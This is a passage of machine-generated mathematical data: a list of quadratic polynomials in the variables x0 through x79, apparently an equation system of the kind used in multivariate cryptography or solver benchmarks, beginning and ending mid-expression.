x77*x79 + x77 + x78 + 1, x0*x1 + x0*x2 + x0*x8 + x0*x15 + x0*x16 + x0*x17 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x27 + x0*x30 + x0*x31 + x0*x33 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x44 + x0*x45 + x0*x47 + x0*x48 + x0*x52 + x0*x54 + x0*x55 + x0*x57 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x75 + x0*x76 + x0*x78 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x28 + x1*x31 + x1*x33 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x57 + x1*x59 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x9 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x44 + x2*x46 + x2*x48 + x2*x51 + x2*x52 + x2*x53 + x2*x60 + x2*x62 + x2*x63 + x2*x65 + x2*x66 + x2*x69 + x2*x70 + x2*x73 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x7 + x3*x10 + x3*x15 + x3*x16 + x3*x19 + x3*x20 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x39 + x3*x46 + x3*x47 + x3*x50 + x3*x62 + x3*x64 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x72 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x11 + x4*x12 + x4*x14 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x22 + x4*x25 + x4*x30 + x4*x32 + x4*x33 + x4*x36 + x4*x39 + x4*x40 + x4*x41 + x4*x42 + x4*x44 + x4*x45 + x4*x48 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + x4*x66 + x4*x69 + x4*x73 + x4*x79 + x5*x7 + x5*x10 + x5*x13 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x62 + x5*x66 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x26 + x6*x28 + x6*x30 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x51 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x65 + x6*x66 + x6*x67 + x6*x71 + x6*x72 + x6*x75 + x6*x76 + x6*x77 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x38 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x50 + x7*x51 + x7*x54 + x7*x55 + x7*x57 + x7*x64 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x74 + x7*x77 + x7*x79 + x7 + x8*x9 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x21 + x8*x22 + x8*x24 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x41 + x8*x46 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x65 + x8*x67 + x8*x69 + x8*x70 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x8 + x9*x10 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x25 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x47 + x9*x48 + x9*x49 + x9*x51 + x9*x52 + x9*x53 + x9*x57 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x71 + x9*x73 + x9*x74 + x9*x76 + x9 + x10*x13 + x10*x14 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x25 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x45 + x10*x47 + x10*x52 + x10*x54 + x10*x56 + x10*x60 + x10*x61 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x76 + x10*x78 + x11*x13 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x35 + x11*x36 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x51 + x11*x56 + x11*x57 + x11*x59 + x11*x61 + x11*x62 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x71 + x11*x74 + x11*x77 + x11*x78 + x11 + x12*x15 + x12*x16 + x12*x19 + x12*x23 + x12*x27 + x12*x30 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x47 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x60 + x12*x61 + x12*x62 + x12*x67 + x12*x68 + x12*x69 + x12*x74 + x12*x76 + x12 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x23 + x13*x24 + x13*x27 + x13*x29 + x13*x31 + x13*x32 + x13*x35 + x13*x37 + x13*x40 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x49 + x13*x52 + x13*x53 + x13*x56 + x13*x58 + x13*x60 + x13*x62 + x13*x63 + x13*x64 + x13*x67 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x25 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x39 + x14*x40 + x14*x41 + x14*x45 + x14*x46 + x14*x52 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x64 + x14*x66 + x14*x71 + x14*x72 + x14*x74 + x15*x19 + x15*x23 + x15*x24 + x15*x25 + x15*x28 + x15*x29 + x15*x33 + x15*x36 + x15*x39 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x58 + x15*x60 + x15*x65 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15*x79 + x16*x18 + x16*x21 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x37 + x16*x38 + x16*x42 + x16*x44 + x16*x47 + x16*x48 + x16*x49 + x16*x50 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x58 + x16*x60 + x16*x61 + x16*x65 + x16*x66 + x16*x71 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x35 + x17*x36 + x17*x40 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x47 + x17*x50 + x17*x51 + x17*x52 + x17*x54 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x65 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x77 + x17*x79 + x18*x19 + x18*x20 + x18*x21 + x18*x23 + x18*x24 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x36 + x18*x41 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x58 + x18*x59 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x74 + x18*x76 + x18*x78 + x18*x79 + x19*x20 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x33 + x19*x34 + x19*x36 + x19*x37 + x19*x39 + x19*x47 + x19*x51 + x19*x52 + x19*x56 + x19*x63 + x19*x65 + x19*x66 + x19*x68 + x19*x69 + x19*x70 + x19*x73 + x19*x74 + x19*x78 + x20*x21 + x20*x26 + x20*x28 + x20*x29 + x20*x31 + x20*x32 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x49 + x20*x57 + x20*x58 + x20*x60 + x20*x61 + x20*x66 + x20*x67 + x20*x68 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x20 + x21*x22 + x21*x24 + x21*x25 + x21*x28 + x21*x31 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x40 + x21*x42 + x21*x45 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x62 + x21*x63 + x21*x71 + x21*x72 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x38 + x22*x40 + x22*x43 + x22*x46 + x22*x50 + x22*x51 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x62 + x22*x65 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x73 + x22*x75 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x28 + x23*x30 + x23*x31 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x50 + x23*x51 + x23*x53 + x23*x54 + x23*x57 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x66 + x23*x69 + x23*x70 + x23*x73 + x23*x74 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x47 + x24*x52 + x24*x53 + x24*x56 + x24*x63 + x24*x65 + x24*x73 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x48 + x25*x49 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x67 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x40 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x57 + x26*x60 + x26*x63 + x26*x64 + x26*x65 + x26*x69 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x27*x29 + x27*x30 + x27*x32 + x27*x34 + x27*x43 + x27*x44 + x27*x45 + x27*x46 + x27*x49 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x61 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x34 + x28*x36 + x28*x37 + x28*x39 + x28*x40 + x28*x42 + x28*x45 + x28*x46 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x58 + x28*x59 + x28*x61 + x28*x63 + x28*x64 + x28*x68 + x28*x74 + x28*x76 + x28*x77 + x28*x79 + x28 + x29*x32 + x29*x33 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x45 + x29*x46 + x29*x48 + x29*x52 + x29*x55 + x29*x56 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x67 + x29*x68 + x29*x72 + x29*x74 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x60 + x30*x62 + x30*x67 + x30*x68 + x30*x69 + x30*x73 + x30*x75 + x30*x76 + x31*x34 + x31*x36 + x31*x37 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x56 + x31*x58 + x31*x60 + x31*x63 + x31*x65 + x31*x67 + x31*x68 + x31*x74 + x31*x79 + x31 + x32*x39 + x32*x43 + x32*x49 + x32*x50 + x32*x52 + x32*x54 + x32*x56 + x32*x57 + x32*x59 + x32*x62 + x32*x63 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x74 + x32*x76 + x32*x77 + x32*x79 + x32 + x33*x36 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x64 + x33*x65 + x33*x67 + x33*x69 + x33*x70 + x33*x72 + x33*x78 + x34*x35 + x34*x37 + x34*x38 + x34*x43 + x34*x44 + x34*x48 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x62 + x34*x65 + x34*x66 + x34*x67 + x34*x70 + x34*x75 + x34*x77 + x34*x78 + x34 + x35*x36 + x35*x40 + x35*x44 + x35*x47 + x35*x49 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x64 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x72 + x35*x73 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x63 + x36*x64 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x78 + x36*x79 + x36 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x48 + x37*x50 + x37*x52 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x64 + x37*x65 + x37*x66 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x77 + x38*x39 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x50 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x60 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x46 + x39*x52 + x39*x53 + x39*x55 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x44 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x59 + x40*x60 + x40*x65 + x40*x66 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x77 + x40 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x72 + x41*x73 + x42*x43 + x42*x46 + x42*x47 + x42*x49 + x42*x51 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x68 + x42*x70 + x42*x71 + x42*x74 + x42*x76 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x70 + x43*x72 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x55 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x65 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x71 + x45*x72 + x45*x77 + x45*x79 + x46*x51 + x46*x52 + x46*x54 + x46*x57 + x46*x58 + x46*x61 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x74 + x46*x76 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x66 + x47*x68 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x55 + x49*x56 + x49*x59 + x49*x62 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x52 + x50*x54 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x65 + x50*x69 + x50*x71 + x50*x73 + x50*x75 + x50*x76 + x51*x53 + x51*x54 + x51*x55 + x51*x57 + x51*x58 + x51*x63 + x51*x66 + x51*x67 + x51*x69 + x51*x72 + x51*x74 + x51*x77 + x51 + x52*x54 + x52*x55 + x52*x57 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x63 + x52*x69 + x52*x71 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x53*x54 + x53*x56 + x53*x58 + x53*x61 + x53*x62 + x53*x64 + x53*x65 + x53*x67 + x53*x71 + x53*x73 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x60 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x73 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x58 + x55*x60 + x55*x63 + x55*x67 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x58 + x56*x59 + x56*x63 + x56*x64 + x56*x65 + x56*x67 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56 + x57*x58 + x57*x61 + x57*x62 + x57*x64 + x57*x66 + x57*x69 + x57*x72 + x57*x73 + x57*x78 + x58*x60 + x58*x61 + x58*x62 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x69 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x72 + x60*x74 + x60*x75 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x79 + x62 + x63*x66 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x67 + x64*x68 + x64*x70 + x64*x71 + x64*x74 + x64*x75 + x64*x76 + x65*x66 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x66*x67 + x66*x69 + x66*x73 + x66*x74 + x67*x68 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x78 + x67 + x68*x69 + x68*x73 + x68*x75 + x68*x76 + x69*x70 + x69*x73 + x69*x74 + x69*x78 + x69*x79 + x69 + x70*x71 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x77*x79 + x77 + x78*x79 + x79 + 1, x0*x2 + x0*x3 + x0*x5 + x0*x7 + x0*x10 + x0*x11 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x23 + x0*x25 + x0*x27 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x39 + x0*x40 + x0*x42 + x0*x44 + x0*x50 + x0*x53 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x69 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x1*x3 + x1*x6 + x1*x11 + x1*x15 + x1*x17 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x33 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x62 + x1*x65 + x1*x67 + x1*x68 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x8 + x2*x10 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x44 + x2*x49 + x2*x51 + x2*x52 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x63 + x2*x65 + x2*x73 + x2*x75 + x2*x78 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x13 + x3*x14 + x3*x15 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x46 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x58 + x3*x60 + x3*x62 + x3*x63 + x3*x64 + x3*x67 + x3*x72 + x3*x73 + x3*x74 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x13 + x4*x14 + x4*x17 + x4*x23 + x4*x24 + x4*x31 + x4*x32 + x4*x37 + x4*x38 + x4*x39 + x4*x40 + x4*x42 + x4*x45 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x72 + x4*x73 + x4*x76 + x4*x77 + x4*x78 + x5*x6 + x5*x10 + x5*x12 + x5*x13 + x5*x18 + x5*x22 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x50 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x62 + x5*x63 + x5*x68 + x5*x69 + x5*x70 + x5*x72 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x6*x9 + x6*x11 + x6*x14 + x6*x17 + x6*x19 + x6*x21 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x37 + x6*x40 + x6*x42 + x6*x45 + x6*x48 + x6*x49 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x71 + x6*x72 + x6*x74 + x6*x78 + x6 + x7*x8 + x7*x10 + x7*x11 + x7*x15 + x7*x18 + x7*x27 + x7*x28 + x7*x34 + x7*x40 + x7*x42 + x7*x43 + x7*x45 + x7*x47 + x7*x54 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x67 + x7*x68 + x7*x74 + x7*x75 + x7*x76 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x19 + x8*x20 + x8*x23 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x33 + x8*x36 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x43 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x69 + x8*x70 + x8*x72 + x8*x76 + x8*x77 + x9*x10 + x9*x12 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x20 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x31 + x9*x34 + x9*x37 + x9*x40 + x9*x45 + x9*x46 + x9*x51 + x9*x53 + x9*x56 + x9*x57 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x10*x15 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x30 + x10*x31 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x45 + x10*x46 + x10*x50 + x10*x51 + x10*x54 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x75 + x10*x78 + x10*x79 + x11*x12 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x28 + x11*x36 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x58 + x11*x59 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x14 + x12*x16 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x67 + x12*x68 + x12*x69 + x12*x73 + x12*x74 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x19 + x13*x22 + x13*x24 + x13*x25 + x13*x27 + x13*x29 + x13*x32 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x46 + x13*x48 + x13*x52 + x13*x54 + x13*x58 + x13*x60 + x13*x63 + x13*x64 + x13*x66 + x13*x67 + x13*x75 + 